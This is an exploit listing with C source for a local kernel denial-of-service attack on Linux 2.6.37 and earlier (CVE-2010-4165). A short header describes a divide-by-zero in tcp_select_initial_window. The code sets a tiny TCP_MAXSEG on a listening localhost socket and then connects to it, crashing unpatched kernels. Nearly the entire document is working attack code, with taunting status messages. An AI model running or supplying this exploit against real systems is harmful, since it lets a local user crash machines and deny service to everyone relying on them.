Linux Kernel 2.6.37 Denial Of Service

`/* Linux Kernel <= 2.6.37 local kernel DoS (CVE-2010-4165)  
* =======================================================  
* A divide by 0 error occurs in tcp_select_initial_window  
* when processing user supplied TCP_MAXSEG facilitating a  
* local denial-of-service condition (kernel oops!) in all  
* Linux Kernel 2.6.x branch (2.6.37 & below). This issue   
* can be triggered easily with a call to setsockopt() on   
* a listening network socket and then establishing a TCP  
* connection to the awaiting socket.   
*   
* -- prdelka  
*  
*/  
#include <stdio.h>  
#include <stdlib.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <netinet/tcp.h>  
  
  
int main() {  
int optval, optlen, ret, sd, sd2, pid;  
char *host = "localhost";   
struct sockaddr_in locAddr;  
struct sockaddr_in servAddr;  
struct sockaddr_in dstAddr;  
printf("[ Linux Kernel tcp_select_initial_window divide by 0 DoS\n");   
sd = socket(AF_INET, SOCK_STREAM, 0);  
memset(&servAddr,0,sizeof(servAddr));  
memset(&dstAddr,0,sizeof(dstAddr));  
servAddr.sin_family = AF_INET;  
servAddr.sin_port = htons(60000);  
servAddr.sin_addr.s_addr = INADDR_ANY;  
dstAddr.sin_family = AF_INET;  
inet_aton("127.0.0.1", &dstAddr.sin_addr);  
dstAddr.sin_port = htons(60000);  
if((bind(sd,(struct sockaddr *)&servAddr,sizeof(struct sockaddr))) == -1){  
printf("[ Cannot bind listener service\n");  
exit(-1);  
}  
listen(sd,4);  
optval = 12;  
ret = setsockopt(sd, IPPROTO_TCP, TCP_MAXSEG, &optval, sizeof(optval));  
if(ret==0)  
{  
printf("[ System is not patched against CVE-2010-4165\n[ Goodnight, sweet prince.\n");  
int sin_size = sizeof(struct sockaddr_in);  
switch(pid = fork())  
{  
case 0:  
sd = accept(sd,(struct sockaddr *)&locAddr,&sin_size);  
sleep(3);  
default:  
sd2 = socket(AF_INET, SOCK_STREAM, 0);  
connect(sd2, (struct sockaddr *)&dstAddr, sizeof(dstAddr));  
sleep(3);  
}  
}  
printf("[ System is patched, no dreams for this prince\n");  
return 0;  
}  
`